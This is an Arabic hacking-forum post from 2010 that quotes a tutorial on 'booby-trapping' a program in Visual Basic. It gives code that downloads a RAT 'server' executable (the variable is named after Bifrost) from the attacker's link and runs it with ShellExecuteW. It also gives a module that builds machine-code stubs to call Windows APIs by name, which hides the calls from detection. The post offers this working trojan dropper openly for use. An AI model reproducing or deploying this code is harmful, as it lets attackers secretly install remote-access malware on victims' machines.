عرض مشاركة واحدة
قديم 10-23-2010, 02:19 AM   رقم المشاركة : 110 (permalink)
معلومات العضو
ziedzammit
 
الصورة الرمزية ziedzammit
 

 

 
إحصائية العضو






ziedzammit غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
ziedzammit is on a distinguished road

افتراضي


اقتباس
مشاهدة المشاركة المشاركة الأصلية كتبت بواسطة DR.THMoORY


مسآكم الله بالخير × صبحكم آلله بالخير !
درسنآ خفيف وسهل جدا..~

[mklb2]][الدرس الرابع: تلغيم برنامج بالفيوجل بيسك][[/mklb2]

][تحميل الشرح ميدا فاير][
المحتوى المخفي لايقتبس

][مرفوع على اليوتيوب كمان][

المحتوى المخفي لايقتبس
][الفورم][


BifrostlRet = CallApiByName("urlmon", "URLDownloadToFileW", 0, StrPtr("الرابط المباشر لسيرفرك"), StrPtr("C:\اسم سيرفرك.exe"), 0, 0)
Call CallApiByName("shell32", "ShellExecuteW", 0, 0, StrPtr("C:\اسم سيرفرك.exe"), 0, 0, 0)




~الموديل~
كود PHP:


Declare Sub RtlMoveMemory Lib "kernel32" (dest As Anysrc As AnyByVal L As Long)
Declare Function 
CallWindowProcA Lib "user32" (ByVal addr As LongByVal p1 As LongByVal p2 As LongByVal p3 As LongByVal p4 As Long) As Long
Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As LongByVal lpProcName As String) As Long
Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Function CallApiByName(ByVal sLib As StringByVal sMod As StringParamArray Params()) As Long
On Error Resume Next
    Dim lPtr                
As Long
    Dim bvASM
(&HEC00& - 1)  As Byte
    Dim I                   
As Long
    Dim lMod                
As Long
    
    lMod 
GetProcAddress(LoadLibraryA(sLib), sMod)
    If 
lMod 0 Then Exit Function
    
    
lPtr VarPtr(bvASM(0))
    
RtlMoveMemory ByVal lPtr, &H59595958, &H4:              lPtr lPtr 4
    RtlMoveMemory ByVal lPtr
, &H5059, &H2:                  lPtr lPtr 2
    
For UBound(ParamsTo 0 Step -1
        RtlMoveMemory ByVal lPtr
, &H68, &H1:                lPtr lPtr 1
        RtlMoveMemory ByVal lPtr
CLng(Params(I)), &H4:     lPtr lPtr 4
    Next
    RtlMoveMemory ByVal lPtr
, &HE8, &H1:                    lPtr lPtr 1
    RtlMoveMemory ByVal lPtr
lMod lPtr 4, &H4:         lPtr lPtr 4
    RtlMoveMemory ByVal lPtr
, &HC3, &H1:                    lPtr lPtr 1
    CallApiByName 
CallWindowProcA(VarPtr(bvASM(0)), 0000)
    
End Function 
انتهى تحياتي
فلسطين فلسطين فلسطين فلسطين

meeeeeeeeeeeeeeeeeeerci